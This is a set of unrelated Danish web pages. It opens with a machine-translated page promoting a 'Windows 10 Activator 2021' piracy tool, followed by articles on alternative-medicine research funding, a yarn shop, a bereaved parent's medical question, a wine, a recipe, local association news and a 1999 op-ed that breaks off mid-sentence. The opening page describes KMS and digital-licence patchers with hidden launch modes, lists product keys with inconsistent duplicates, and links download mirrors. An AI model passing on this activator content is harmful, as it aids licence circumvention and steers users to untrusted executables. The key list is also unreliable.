Windows 10 Activator 2021 Gratis Download [Seneste]\nHjem »Windows Activator. »Windows 10 Activator 2021 Free Download [Latest]\nk-8visual.info 7. januar 2021 15 kommentarer.\nWindows 10 Activator 2021 Nøglefunktioner\nSådan bruger du Windows 10 Activator\nWindows 10 Activator 2021Er det bedste program til permanent at aktivere dine Windows 10. Ud over det er det nemt at bruge og kræver ikke, at erfaringerne skal bringe aktiveringstasterne til brug, når du forsøger at aktivere programmet.\nWindows 10 Activator.Ultimate er et program, der finder for mak og detailnøgle i forskellige servere til Windows 10 alle typer publikationer. Nøglerne opdateres automatisk dagligt. Denne software er en af de bedste forWindows 10 Activator.Med Daily Mak og Retail Key opdateringer. Det er det bedste program for permanent at aktivere dine Windows 10. Ud over det er nemt at bruge og kræver ikke, at erfaringerne med at bringe aktiveringstasterne til at bruge, når du forsøger at aktivere programmet.\nMAK OG RETAIL KEYS FINDER FOR WINDOWS 10 AKTIVER\nInkluderer bærbar Skype nyeste version\nSemi-Automatisk Skype-aktivering til Windows 10 (permanent aktivering via telefon)\nDeaktiver Skype automatiske opdateringer.\nOpdateret Skype-konto med jævne mellemrum\nDu kan aktivt under Windows 10 Activator\nWindows 10 Home Country Specifik Aktivator\nHvordan kan du bruge Windows 10 Activator Ultimate 2021\nDu kan få en digital licens på alleWindows 10 Activator Gratis Downloadversioner, herunder VL udgaver (undtagen 1507).\nDet erstatter automatisk enhver KMS-licens, hvis det allerede er til stede.\nDet installerer eller gemmer ikke nogen filer til aktivering i dit system. Så det er ikke nødvendigt at indstille eksklusioner i din AV for noget.\nDu bliver nødt til at oprette forbindelse til internettet, mens du bruger dette værktøj til at få aktivering øjeblikkeligt, men det fungerer også offline, men vil give en fejl ved aktiveringstrinnet i slutningen. Ved næste online kontakt system vil aktivere.\nI samme hardware, på Windows, 10 geninstallerer du ikke, at du ikke behøver at køre dette værktøj igen, og ved første online-kontakt genkender MS-serveren HWID- og tilskudsaktivering automatisk.\nMen hvis Windows 10 VL-versionen er installeret, skal du i så fald indsætte den udgave Generic-tasten for at genvinde aktiveringen. Eller du kan bruge nøgleinstallationsindstillingen i dette værktøj.\nHvordan kan du bruge Digital License Windows 10 Activator\nDu kan få HWID digital licens på alle Windows 10 versioner, herunder VL Editions (undtagen 1507), er der ikke noget pre-krav, bare kør dette værktøj, klik på plaster og udført.\nMen hvis Windows 10 VL-versionen er installeret, skal du i så fald indsætte den udgave Generic-tasten for at genvinde aktiveringen. Eller du kan bruge en nøgleinstallationsindstilling i dette værktøj.\nDer er også en manuel metode til rådighed, og hvis du vil, kan du bruge det i stedet for et værktøj.\nen stille switch\ner hidden.mk3 stille\nTing at kontrollere i tilfælde af mislykket aktivering Windows 10 Activator:\nSørg for, at dit internet fungerer fint.\nSørg for, at du ikke kører nogen VPN.\nSørg for, at der ikke bruges Windows Update Blocker-program.\nSørg for, at der ikke er nogen poster i værtsfilen og firewalls lavet af antispy- og privatlivets værktøjer.\nHvis du vil genvinde, hvordan ID-licens på Windows-geninstallerer i VL Edition (RETAIL EDITION vil aktivere Auto, ikke noget problem der) af Windows 10, så skal du indtaste sin generiske nøgle, eller du kan bruge nøgleinstallationsindstillingen i dette værktøj.\nWindows 10 1507 version understøttes ikke af dette værktøj.\nStadig, du kan ikke få aktivering, så sender din bekymring her med en skjult genereret log.\n(Jeg vil sende mere forslag, så snart jeg finder dem)\nWin10actplus 1.1 tilføjet i Windows 10 Activator\nWin10actplus.Dens det bedste program for permanent at aktivere dine Windows 10. Ud over det er nemt at bruge og kræver ikke, at erfaringerne med at bringe aktiveringstasterne til at bruge, når du forsøger at aktivere programmet. Win10actplus kan aktivere Windows 10 permanent med en digital licens.\nDu kan få en digital licens på alle Windows 10 versioner, herunder VL udgaver (undtagen 1507).\nMini KMS Activator Ultimate 2.1 tilføjet\nMini KMS Activator Ultimate er den seneste udgave til Windows-aktivering, der hjælper dig med at aktivere alle Windows og alle Office-produkter på en mere pålidelig måde. Du har den bedste chance for at benytte dette seneste tilbud af Microsoft Windows og Office. Den har en stærk kapacitet til at aktivere Windows 10, 8, 8.1, 7 samt Office 2016/2013/2010/2019/365.\nMini KMS Activator Ultimateer et meget sikkert og nemt aktiveringsprogram uden skadelige virkninger på systemfilerne. Dens aktiveringsgrænse er 180 dage, men du kan forny det, når den udløber. Efter 180 dage kan du aktivere igen i yderligere 180 dage.\nNy opdatering = KMS / 2038 & Digital & Online Activation Suite 8,4\nNy opdatering: Mini KMS Activator Ultimate 2.3 tilføjet\nMini KMS Activator Ultimate er den seneste udgave til Windows-aktivering, der hjælper dig med at aktivere alle Windows og alle Office-produkter på en mere pålidelig måde. Du har den bedste chance for at benytte dette seneste tilbud af Microsoft Windows og Office. Den har en stærk evne til at aktivere Windows 10, 8, 8.1, samt Office 2016/2013/2010/2019/365.\nMini KMS Activator Ultimate er et meget sikkert og nemt aktiveringsprogram uden skadelige virkninger for systemfilerne. Dens aktiveringsgrænse er 180 dage, men du kan forny det, når den udløber. Efter 180 dage kan du aktivere igen i yderligere 180 dage.\nKlik på "Aktiver ...." for hvad du vil aktivere.\nRegistrerer og aktiverer enhver udgave af Windows og kontorer.\nInstruktioner til Digital License Windows 10:\nNår du har aktiveret Windows 10 med KMS.\nKlik på "Få Windows 10 Digital License" efter at have kørt værktøj, klik på "Patch".\nUdført, har du aktiveret Windows 10 permanent.\nAktivér Windows 10 permanent med digital licens\nWindows 10 Digital Activation Program 1.3.9 Tilføjet\nW10 Digital License Activation-program kan aktivere Windows 10 permanent med digital licens.\nAvancerede opstartsmuligheder (nøgler):\n/ Aktiver - Start programmet i HIDDEN MODE.\nWindows 10 produktnøgle 2020\nWindows 10 Enterprise n produktnøgle 2021 4CPRK-NM3K3-X6XXQ-RXX86-WXCHW\nWindows 10 Professional n produktnøgle 2021 VK7JG-NPHTM-C97JM-9MPGT-3V66T\nWindows 10 Uddannelse Produktnøgle 2021 DCPHK-NFMTC-H88MJ-PFHY-QJ4BJ\nWindows 10 Enterprise 2018 LTSB Produktnøgle 2021 YTMG3-N6DKC-DKB77-7M9GH-8HVX7\nWindows 10 Hjem Produktnøgle 2021 2F77B-TNFGY-69QQF-B8YKP-D69TJ\nWindows 10 Enterprise 2018 LTSB N produktnøgle 2021 DXG7C-N36C4-C4HTG-X4T3X-2YV77\nWindows 10 Professional produktnøgle 2021 WNMTR-4C88C-JK8YV-HQ7T2-76DF9\nWindows 10 Enterprise 2018 LTSB N produktnøgle 2021 WyPNQ-8C467-V2W6J-TX4WX-WT2RQ\nWindows 10 Enterprise G produktnøgle 2021 DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4\nWindows 10 Hjem Singe Sprog Produktnøgle 2021 YNMGQ-8RYV3-4PGQ3-C8XTP-7CFBY\nWindows 10 Pro produktnøgle 2021 44RPN-FTY23-9VTTB-MP9BX-T84FV\nWindows 10 Enterprise 2016 LTSB Produktnøgle 2021 84ngf-MHBT6-FXBX8-QWJK7-DRR8H\nWindows Pro N til arbejdsstationer Produktnøgle 2021 NW6C2-QMPVW-D7KKK-3GKT6-VCFB2\nWindows 10 Hjem Single Sprog Produktnøgle 2021 8pttt6-RNW4C-6V7J2-C2D3X-MHBPB\nWindows 10 Professional Workstation Produktnøgle 2021 YVWGF-BXNMC-HTQYQ-CPQ99-66QFC\nWindows 10 s produktnøgle 2021 GJTYN-HDMQY-FRR76-HVGC7-QPF8P\nWindows 10 Hjem Land Specifik produktnøgle 2021 YYVX9-NTFWV-6MDM3-9PT4T-4M68B\nWindows 10 Education N produktnøgle 2021 xgvpp-nmh47-7Tthj-W3FW7-8HV2C\nWindows 10 Enterprise Evaluering Produktnøgle 2021 NPPR9-FWDCX-D2C8J-H872K-2YT43\nWindows 10 Hjem Produktnøgle 2021 MNXKQ-WY2CT-JWBJ2-T68TQ-YBH2V\nWindows 10 Pro produktnøgle 2021 MNXKQ-WY2CT-JWBJ2-T68TQ-YBH2V\nWindows 10 Education N produktnøgle 2021 DCPHK-NFMTC-H88MJ-PFHY-QJ4BJ\nWindows 10 Uddannelse Key Produktnøgle 2021 WypnQ-8C467-V2W6J-TX4WX-WT2RQ\nWindows 10 Uddannelse Produktnøgle 2021 QFFDN-GRT3P-VKWWX-X7T3R-8B639\nWindows 10 Pro N produktnøgle 2021 2F77B-TNFGY-69QQF-B8YKP-D69TJ\nWindows 10 Pro produktnøgle 2021 VK7JG-NPHTM-C97JM-9MPGT-3V66T\nWindows 10 Hjem Produktnøgle 2021 WNMTR-4C88C-JK8YV-HQ7T2-76DF9\nFørst download Windows 10 Activator 2021 fra nedenstående links.\nEfter installationen Kør softwaren.\nLæs venligst "Læs ME-filen".\nDu kan også lide denne software !!!! Windows 8.1 Activator 2020 Gratis Download\nMirror Download links. !!!!\nWindows 10 produktnøgle 2020 Windows 10 produktnøgle 2020 …\nWindows 7 produktnøgle Windows 7 produktnøgle bruges …


Bevillinger til forskning i effekt af alternativ behandling er spild af penge – Erfaringer fra VIFAB | Skeptica\nSidst i 1990´erne gav Sundhedsstyrelsen (SST) udtryk for, at de mente at der var et behov for et forsknings- og videnscenter vedrørende alternativ behandling. Den politiske proces som førte til oprettelsen af ”Videns og forskningscenter for alternativ behandling” (VIFAB) pr. 28. august 2000 er fyldestgørende beskrevet i en artikel af Jens Laigaard fra 2005.\n…attituden over for alternativ og komplementær medicin er entydigt negativ.\nPå srab.dk kan man finde oversigter over forskningsprojekter, som har modtaget økonomisk støtte fra VIFAB i perioden 2001-2011. Der er uddelt i alt 28,5 millioner kroner, heraf 9,6 millioner til etablering af forskningscentre i hhv. Odense og København. Der er altså blevet udbetalt 18,9 millioner kroner til specifikke forskningsprojekter.\nMan kan groft inddele projekterne i typer som belyser forbrug af alternativbehandling og projekter, som beskæftiger sig med effekt af alternativ behandling. At mange bruger alternativ behandling er velkendt, så undersøgelser af forbrug vil jeg ikke komme mere ind på her.\nDet centrale spørgsmål er, om de bevilgede forskningsmidler gør os klogere på, om alternativ behandling virker eller ej. Det er sjældent at én enkelt undersøgelse kan levere et definitivt svar. Men en forudsætning for, at vi kan vurdere om pilen peger i den ene eller den anden retning er, at resultaterne publiceres. Jeg har forsøgt at opspore publikationer via pubmed, google samt VIFAB’s egne oplysninger.\nAkupunktur som smertelindring og beroligelse til fødsler Støttebeløb: 148.012 kr.Der rapporteres om smertelindrende effekt, men der var ingen placebokontrol. Derfor er undersøgelsen ikke informativ m.h.t. specifik effekt af akupunktur.\nKan akupunktur under og efter ægtilbagelægning i forbindelse med IVF forbedre chancen for graviditet og fødsel? Støttebeløb: 100.000 kr.Undersøgelsen fandt, at akupunktur øgede chancen for graviditet ved IVF-behandling. Der blev ikke anvendt placebokontrol. Efterfølgende placebokontrolleret undersøgelse (støttet med 530.000 kr., som blev delvist udbetalt) blev opgivet pga. rekrutteringsproblemer.\nAkupunktur til at sætte fødsler i gang Støttebeløb: 271.633 kr.Der var ingen effekt af akupunktur. En hurtig søgning på internettet viser, at mange jordemødre alligevel bliver ved med at tilbyde behandlingen.\nTe af planteekstrakt til behandling af diabetes Støttebeløb: 473.861 kr.I alt 23 personer med type 2 diabetes indgik i forsøget. I en subgruppeanalyse fandtes bedre blodsukker regulation hos 4 af 7 patienter sammenlignet med placebo (0 af 7). I sagens natur kan en sådan undersøgelse kun anses for at være hypotesegenererende. Der er ikke publiceret opfølgende undersøgelser fra gruppen.\nBehandling af nedsat sædkvalitet med planteekstrakter Støttebeløb: 520.000 kr.Man fandt at præparatet kunne øge antallet af motile spermatocytter. Forfatterne gør selv opmærksom på, at man ikke kan afgøre, om effekten resulterede i en højere graviditetsrate. Ingen opfølgende undersøgelser er publiceret.\nUndersøgelse af akupunkturs virkning på børn med astma Støttebeløb: 311.000 kr.VIFAB havde så stor tillid til, at den blev støttet ad to omgange med hhv. 61.000 kr. og 250.000 kr. Børn er børn og akupunktører er akupunktører, så jeg vil gætte på, at en af virkningerne var en masse skrig og skrål. Dette kan være en medvirkende forklaring på, at kun 52 (42,6 %) af 122 deltagende børn kunne evalueres efter 12 måneder. Der blev ikke benyttet placebokontrol. Man fandt subjektiv symptomforbedring, som forsvandt efter akupunkturbehandlingens ophør. Det er en effekt, som man vil forvente ved placebobehandling.\nFor biologisk ikke-plausible behandlingsformer er negative resultater som regel mere informative end positive. Det vil føre for vidt at komme ind på alle undersøgelserne. Jeg vil blot nævne et enkelt eksempel, illustrerer hvor absurd et pengespild vi taler om:\nEt projekt med titlen ”En klinisk kontrolleret parallelgruppeundersøgelse vedrørende effekten af traditionel medicinsk behandling og farmakologisk behandling, homøopatisk behandling og zoneterapeutisk behandling ved astma” blev støttet med 2.435.000 kr., og er dermed den absolutte højdespringer hvad angår bevillinger.\nDer er allerede publiceret en del undersøgelser af behandlingseffekter af en lang række alternative behandlingstyper, så facit er kendt.


The Danube Wetlands (Wien, Østrig) - anmeldelser\nThe Danube Wetlands anmeldelser, Wien\nSøg Europa›Østrig›Wien›Wien›Forslag til aktiviteter i Wien›The Danube Wetlands\nNr. 450 af 562 aktiviteter i Wien Nationalparker, Natur- og dyrelivsområder, Natur og parker Skriv en anmeldelse\nVis også KortSatellit Kortopdateringer er sat på pause. Zoom ind for at se opdaterede oplysninger. Nulstil zoom Opdaterer kortet... Tilbage til kortet Få rutevejledning Adresse: Wien, Østrig Telefonnummer:\n+43 2214 233518 Forbedr denne registrering\nlæs mere Anmeldt 3 maj 2014 SmokyHill, Hannover, Tyskland\n(1) Begynd din anmeldelse af The Danube Wetlands Klik her for at vurdere\nOpdaterer listen... Rejsende, der kiggede på The Danube Wetlands, kiggede også på\nWien, Wien Floridsdorfer Waterpark\nWien, Wien Kurpark Oberlaa\nHar du været i The Danube Wetlands? Fortæl om dine oplevelser! Skriv en anmeldelse\nHar du nogen spørgsmål? Få svar fra ansatte på The Danube Wetlands og tidligere besøgende.


Drops Kid-Silk Garn Unicolor 12 Beige med PrisGaranti - kr. 35.15\nHjem / Garn / Garn Producenter / Drops Garnstudio / DROPS Kid-Silk / Drops Kid-Silk Garn Unicolor 12 Beige\nVarenummer (SKU): 7071723003596 Kategorier: Drops Garnstudio, DROPS Kid-Silk, Garn, Garn Producenter Tag: Drops - Garnstudio\nDKK 43,00 DKK 35,15\nDrops Kid-Silk GarnÂ Unicolor 12 Beige hører til de lyse farver. Beige er en behagelig naturfarve, som er let at blande. Den bedste blandingseffekt fås sammen med andre naturfarver som råhvid, sand, brun, grå og sort. Det er en helårsfarve, som med fordel … læs mere her\nDrops Kid-Silk Garn Unicolor 12 Beige beskrivelse:\nNavn: Drops Kid-Silk Garn Unicolor 12 Beige\nLæs mere om Drops Kid-Silk Garn Unicolor 12 Beige her.\nDrops Kid-Silk Garn Unicolor 12 Beige – Garn og strik er blevet moderne\nMange er i den seneste tid, glade for at strikke eller hækle, og har fundet sin egen lille uforstyrrede verden her- og det er ikke som mange tror, kun ældre kvinder, der i vores bevidsthed jo er dem, vi ser som de traditionelle strikkere. Målgruppen har rykket sig langt ned i alder der nyder at gøre brug af deres kreativitet med garn og pinde. Rito.dk er landets førende webshop indenfor garn, og det der hører sig til. Det er let at beslutte sig for at købe garn, når man får, prisgaranti og et helt års returret, så du får også ro i maven, når du køber Drops Kid-Silk Garn Unicolor 12 Beige.\nDrops Kid-Silk Garn Unicolor 12 Beige med prisgaranti\nDrops Kid-Silk Garn Unicolor 12 Beige er stadig en af de mest eftertragtede varer her i webshoppen i vores varekategori Garn > Garn Producenter > Drops Garnstudio > DROPS Kid-Silk. Din pakke kommer hjem til dig med hele 365 dages returret til at sikre dig mod fortrydelse af købet af Drops Kid-Silk Garn Unicolor 12 Beige. Langt de fleste i Norden køber deres Drops Kid-Silk Garn Unicolor 12 Beige i den kendte webshop Rito.dk, som ikke bare er en døgnflue, men har bevist sit eksistensgrundlag gennem lang tid. Der er mange varer i shoppen og i det store udvalg finder du noget for alle, som jo fx kan være Drops Kid-Silk Garn Unicolor 12 Beige. Når der handles i webshop er varerne billigere- det skyldes bl.a. at sådan noget som husleje kan være meget lavere, da en god beliggenhed ikke er nødvendig.\nDrops Kid-Silk Garn Unicolor 12 Beige med 365 dages returret\nNår du svinger kortet i de danske webshops, er betingelserne lidt gunstigere, som du ikke nødvendigvis får i fysiske butikker. Loven siger, du har ret til at returnere dine varer indenfor 14 dage. når produkterne er købt online, og du kan finde webshops der giver mere og forlænger din returret til mere end de 14 dage. En anden fordel ved online shops er, at alle varer og priser ligger online, og det giver en god gennemsigtighed på priserne, iblandt alle de shops der sælger det, du er ude efter. For at det ikke skal være løgn, kan du endda lave en prissammenligning så snart du lige har fem minutter, og sidder ved computeren eller med din telefon. Ved at købe dine varer online, slipper du for, at bæreposen med varerne går i stykker på vej hjem. Online shoppen får Posten til at levere dine varer til din adresse, hvis du ikke har valgt at få dem sendt hen til dit arbejde, og det giver en god fleksibilitet for dig. De tider med at stå i kø er længe forbi – i dag handler vi online og så gå let og ubesværet direkte til kassen, når du er færdig med at handle, så er det aldrig mere ubehaget ved at stå alt for tæt i en kø til kassen.\nVær den første til at anmelde “Drops Kid-Silk Garn Unicolor 12 Beige” Annuller svar\nDKK 45,00 DKK 39,90


Min 6 årige datter døde af en hjerne-svulst - var det kræft?\nFor ca. 2 år siden døde min dengang kun 6-årige datter Sascha. Hun fik en hjernesvulst i pons. Hun var igennem strålebehandling og det var så det. Til at begynde med svandt svulsten ind, men så fik hun det dårligt og i løbet af 2-3 uger døde hun. Mit spørgsmål går egentlig på om det var kræft eller ej. Når nogle spørger siger jeg nej, for jeg har læst at kræft spreder sig til andre organer og det gør hjernesvulster ikke ifølge det jeg har læst. Kan I evt. give mig den rigtige forklaring.\nEn anden ting: Jeg har skrevet dagbog over hele forløbet med vores frustrationer over livet og sundhedsvæsenet og i det hele taget hvordan det hele forløb. Er man som læge (her tænker jeg på hospitalslægen) mon interesseret i at læse sådan noget. Jeg tænker på om det mon kunne hjælpe ham/hende til at forstå forældres handlemåde ??\nDet gør mig ondt at høre om Saschas sygdom og død, og jeg kondolerer Jer begge. Det må have været en forfærdelig oplevelse, og en så voldsom begivenhed at den fortsat præger Jeres liv.\nPå spørgsmålet om Sascha havde kræft, vil mit svar være, at det nok er sandsynligt at det var en kræftsvulst. Det er dog ikke muligt at svare helt præcist på spørgsmålet når du ikke har en mere specifik diagnose.\nHvis du gerne vil have den præcise diagnose på Saschas sygdom kan du få journalindsigt. Det vil sige at du kan få lov til at læse Saschas papirer fra sygehuset. Hvis du gør det, vil jeg foreslå at du læser papirerne sammen med din egen læge, så han/hun kan oversætte alle de lægefaglige udtryk. Så kan du skrive de oplysninger ned, der er vigtige for dig. Det er en god idé at skrive dem ned, så du har dem til senere brug.\nDin dagbog lyder som en rigtig god idé. Jeg kan forestille mig at det har hjulpet dig at sætte alle de svære og onde begivenheder ned på papir. Dagbogen er en bog som andre kan have glæde af. Her tænker jeg på både fagfolk og andre forældre der kommer i lignende situationer som I har været i.\nHvis I har mod på det synes det ville være en god idé at sende dagbogen til overlægen eller den læge der havde mest med Sascha og Jer at gøre. Dagbogen kunne være et redskab til at forbedre dialogen mellem patienter/pårørende og fagfolk ved at øge forståelsen for andres oplevelser af de samme begivenheder.


Arnot-Roberts Cabernet Sauvignon, Clajeux Vineyard 2013 0,75 - FineWines\nKraftfuld og ekstra mineralsk Cabernet, som nu har fået lidt gode år på bagen. Clajeux Vineyard ligger på en stejl bjergskråning i Sonoma County – nærmere bestemt i Chalk Hill regionen. Den blev beplantet for 20 år siden og dyrkes økologisk efter alle tænkelige foreskrifter. De to winemakers Duncan Arnot og Nathan Roberts valgte i 2013-årgangen at lade 30% af klaserne presse hele og bruge 30% nye egefade til modningen. Duften lokker med mørk frugt, tranebær, cedertræ, ingefærbrød, tørrede krydderier og blyant. Den mørke frugt går igen i smagen sammen med vildtkød, røg og grillede krydderier. Finishen er lang og snorlige. Klasse!


Abrikoskugler til Sine - Mormor er det nye sort\nUd over at Randers slet ikke viser sig at være så slem som forventet, så er der yderligere en bonus der er værd at nævne… Claus’ venner har de SØDESTE kærester… Idag startede morgenen med Brunch på Cafe K med Sine.\nVi kom til at snakke om mad, og i den forbindelse kom vi ind på nogle abrikoskugler, jeg havde sjuflet mig frem til i sidste uge. Skal lige nævne at jeg “sjufler” mig en del frem i køkkenet – og det er sjældent, at jeg har en egentlig opskrift at gå ud fra, men jeg har nu lært af mine fejl og er begyndt at skrive ned, hvad jeg tilsætter undervejs – For det er bare lidt ærgerligt, at være en senil gammel mormor, der ikke kan huske hvad jeg har puttet i maden.\nSå til Sine – Og alle andre… Her kommer opskriften på Abrikos-kugler uden sukker – og mærkelige ingredienser som man alligevel ikke har i sit køkkenskab.\nIngredienser til abrikoskugler:\n100 tørrede abrikoser – jeg bruger økologiske\nca 15-20 hasselnødder/mandler\n1 spsk tørret tranebær\nca. 2 spsk valnødde -eller hasselnøddeolie\nFremgangsmåde – sådan laver du abrikoskugler\nBlend abrikoserne til det begynder at blive en klistret våd masse\nTilsæt kokos, nødder, sesam og tranebær og blend videre\nTilsæt til sidst olie – Mængden af olie afhænger af hvornår massen har den rette konsistens\nTril massen til små kugler\nDyp de små kugler i vand inden de efterfølgende trilles i kokosmel


Generalforsamling i Hjerte-foreningens Lokalkomite Sæby | SaebyAvis.dk - lokale nyheder fra Sæby\nGeneralforsamling i Hjerte-foreningens Lokalkomite Sæby\n14. marts 2013 - kl. 9:20 - af Henrik Christensen\nHjerteforeningens lokalkomite i Sæby afholdt tirsdag den 12. marts generalforsamling i SparNord´s lokaler.\nI formand Kisser Olsens beretning blev det omtalt, hvor meget Hjerteforeningen på landsplan får ind i støtte og sponsorater, og hvor meget disse midler betyder for forskning i hjertekarsygdomme. Yderligere blev alle aktiviteterne i det forgangne år nævnt, ligesom der blev nævnt lidt om fremtidige aktiviteter, bl.a. at der sammen med Frederikshavn kommune er et godt samarbejde omkring Hjertestien, og at der i nær fremtid vil blive opført et ”overdækket madpakkehus” ved søen samt en bålplads.\n2 af bestyrelsens medlemmer ønskede ikke genvalg. Det var Poul Erik Thingbak og Jens Hejlesen. Jens Hejlesen var for 27 år siden med til at starte lokalkomiteen i Sæby, og det har været 27 år med megen forandring i foreningen, men både gode og spændende år.\nDer blev valgt 2 nye medlemmer til lokalkomiteen:\nJørgen Rørbæk Henriksen og Brian Toftelund.\nDerefter består bestyrelsen af Kisser Olsen, Merethe Gaardbo, Kirsten Sørensen, Finn Brunøe, Elin Hyttel, Jørgen Rørbæk Henriksen og Brian Toftelund.\nEfter generalforsamlingen var der foredrag om Hjertesund Mad ved klinisk diætist Margit Oien, hvor der i et let forståeligt sprog blev fortalt, hvordan man lettest kan få hverdagens mad til at være hjertesund. Foredraget blev understøttet af gode billeder, der med al tydelighed viste, hvor let det er at bytte lidt rundt på menuen, så blodsukker kan holdes stabilt og kolesterolindholdet i blodet kan falde. På denne levevis vil man formindske risikoen for en blodprop og også mindske vægten.\nNæste arrangement foregår ved Sejlklubben i samarbejde med Parat til Hjertestart, og det er den 17. april.\nEmail en kopi af 'Generalforsamling i Hjerte-foreningens Lokalkomite Sæby' til en bekendt


Den 18. maj - et symbol på afmagt | Information\nTrods et grotesk forbrug af tid har det danske samfund været ude af stand til at gennemføre ordentlig efterkritik af myndighedernes indsats i forbindelse med urolighederne\npå Nørrebro den 18. maj 1993\nDen 18. maj er det seks år siden, at der var uroligheder på Nørrebro efter EU-afstemningen i forsommeren 1993. Der er med andre ord gået 2.191 dage, uden at det har været muligt at få afklaret, hvad det var, der førte til den nyere danmarkshistories hidtil alvorligste uroligheder - og de blodigste.\nOg dermed bliver datoen ikke blot et symbol på uro, men også på hvor svært det kan være for det danske samfund at gennemføre en ordentlig efterkritik af myndighedernes indsats.\nI Nørrebro-sagen er det tidsforbruget, der umiddelbart virker grotesk.\nFørst bruger en rigsadvokat 15 måneder på at lave en redegørelse, der viser sig at være mangelfuld. Derefter bruger samme rigsadvokat ni måneder på et supplement.\nDet samlede produkt bliver kritiseret og påklaget til ombudsmanden, der efter et halvt års undersøgelse kritiserer grundlaget for og gennemførelsen af rigsadvokatens undersøgelse, hvorefter Folketinget er et halvt år om at vedtage en lov om en ny undersøgelse.\nDen ny undersøgelse forsinkes af både besvær med udpegning af medlemmer af en undersøgelseskommission og et juridisk tovtrækkeri om adgang til at have bisidder. Nu har kommissionen trukket sig tilbage og overvejer sagen - og måske engang her i sommeren kommer dens bud på, hvad der skete, og hvad der gik galt.\nMan må med nogen ret kunne fastslå, at det ikke har været tilstrækkeligt magtpåliggende for de implicerede myndigheder at få gennemført undersøgelsen inden for et tidsrum, hvor der var mulighed for at arbejde med frisk materiale.\nMen det er ikke blot tidsforbruget, der stikker i øjnene - det er også undersøgelsens grundlag.\nDet lægges allerede i den første uge efter urolighederne. Her kører et forløb, der klart viser, at alt andet er langt vigtigere end at finde ud af, hvad der gik galt på Nørrebro. Først vil regeringen ikke høre tale om en undersøgelse. Urolighederne skyldtes bøller og ballademagere, der bragte politiet i en urimelig og uventet situation. Mere er der ikke at sige om den sag.\nDet er kun delvis rigtigt. Bøller og ballademagere spillede en væsentlig rolle - måske den væsentligste. Men allerede inden for det første døgn dukker der oplysninger op, der viser, at Københavns politis indsats ikke ligefrem var brillant. Det kan selv solide borgerlige aviser med ringe sympati for Københavns EU-fjendtlige aktivist-miljø fortælle om.\nMen det påvirker ikke den nytiltrådte Nyrup-regering. Politiets indsats er indiskutabel for den socialdemokratisk ledede regering her som ved senere lejligheder, hvor andre har fundet en diskussion af politiets indsats nødvendig.\nHistorikere kan formentlig give et mere præcist billede, men det er, som om Socialdemokratiet har en genetisk betinget frygt for, at det ikke skulle blive opfattet som et lov-og-orden-parti.\nDertil kommer så, at Dansk Politiforbund altid har været en markant del af den fagbevægelse, partiet så ugerne lægger sig ud med.\nDet er først, da Københavns daværende politidirektør Poul Eefsen kommer med en redegørelse, at regeringens afvisning af en undersøgelse bliver uholdbar - også for regeringen og topembedsmændene i Justitsministeriet.\nEefsens redegørelse består af lige dele polemik og delvis forvanskede informationer. Men for kendere af det betændte forhold mellem Københavns politiledelse og hovedstadens aktivistmiljøer, er redegørelsen et nøgleskrift - det viser, at det i den daværende politidirektørs tid var et politisk ideologisk korstog mod aktivistmiljøerne, der foregik.\nVi har diverse ministres og justitsministerielle embedsmænds ord for, at Eefsens polemiske udfald overbeviste dem om, at sagen nok alligevel måtte undersøges. Så det blev den.\nDet barokke er, at det skete på Eefsens præmisser. At politidirektøren havde produceret en redegørelse, der måtte rejse spørgsmålet om hans evne til at foreslå en undersøgelse, blev der ikke taget hensyn til.\nUndersøgelsen blev overladt til daværende rigsadvokat Asbjørn Jensen, der blev inddraget i overvejelserne af, hvordan undersøgelsen skulle foregå.\nDet blev altså til en embedsmandsundersøgelse - med andre ord en undersøgelse foretaget af en embedsmand, der er under instruktionsbeføjelse hos den minister, justitsvæsenet sorterer under. Og hvis karriereforløb er afhængig af både ministeriets indstillinger og den politiske chefs afgørelser.\nDertil kommer, at den daværende rigsadvokat i sin karriere havde været afhængig af politidirektøren.\nUndersøgelsen blev reguleret af et kommissorium, der udmærker sig ved at sige alt andet, end det, man tror, man læser - hvis kommissoriets fædres forklaring skal lægges til grund.\nUanset at der tales om inddragelse af assistance fra Rigspolitiet, skal arbejdet med at undersøge Københavns politis indsats ifølge den udlægning ene og alene foretages af Københavns politis direktør.\nLidt maliciøst kan man sige, at det gamle chef-medarbejderforhold mellem Poul Eefsen og Asbjørn Jensen genoplives.\nTanken om en anden undersøgelseskonstruktion over-vejes efter alt at dømme ikke reelt. Asbjørn Jensen nævner ifølge sig selv og andre vidner, at man burde bruge en dommerundersøgelse, men får at vide, at det ikke er politisk muligt.\nDommerundersøgelsen er ifølge samtlige implicerede udelukket på grund af den debat, der opstod efter fremkomsten af Tamilrapporten et halvt år tidligere.\nKritik af retsstilling\nTamilundersøgelsen blev kritiseret fra embedsmandsside for at have givet implicerede embedsmænd en for ringe retsstilling, og der var angiveligt enighed i det politiskadministrative miljø om, at dommerundersøgelser var bandlyst.\nAt diskussionen foregik er ubestrideligt. At den a priori skulle udelukke dommerundersøgelser forekommer mindre sandsynligt i betragtning af, at en sådan rent faktisk blev bestilt mindre end et halvt år senere, da sagen om Spar Nords skattefradrag skulle undersøges.\nDet førte så til protester fra domstolspræsidenterne, men det siger jo egentlig intet om vurderingen i ministerierne før protesterne.\nResultatet - og det er jo den slags der tæller - er, at Nørrebroundersøgelsen ikke gennemføres af en person, der har den uafhængighed af justitsvæsenet, som en dommer har.\nOg som grundlag har han et kommissorium, der ifølge de skriftkloges udlægning binder ham på hænder og fødder. Det fortæller ham ikke blot, hvad han skal undersøge - det fortæller ham også, hvad han ikke må undersøge.\nDet forklarer ham, hvem der skal undersøge hvad for ham. Og dermed altså også, hvem han ikke må lade undersøge specifikke emner.\nJustitsministeriets kontrol med undersøgelsen fremgår også af, at det følger kommissoriet op med diverse andre afklaringer om forhold til straffeloven og offentlighedsloven. Men da denne styring først kommer frem senere, er den ikke kendt, mens undersøgelsen foregår.\nSammenfattende må man sige, at Nørrebroundersøgelsen på alle leder er styret af justitsministeriet på en måde, der er ganske enestående i dansk nutidshistorie og som efterlader en følelse af, at ministeriet på næsten alle måder har villet sikre sig, at systemet ikke kom til at lide skade på grund af utidig nysgerrighed hos undersøgeren. Rigsadvokaten accepterer styringen - der findes ikke en antydning af, at han gør indsigelse. Tværtimod giver han Rigspolitiets Rejsehold besked om, at de har at holde sig fra Københavns politi - Eefsen vil selv klare den sag.\nFørst da Rejseholdet, der skal lave et samlet overblik over urolighederne, gør oprør og kræver ret til at afhøre københavnske politifolk, presser rigsadvokaten halvanden håndfuld afhøringer igennem.\nDerefter arbejder Rejseholdet hurtigt og frembringer på knap tre måneder en resumérapport, der ikke når ud i alle hjørner, men som 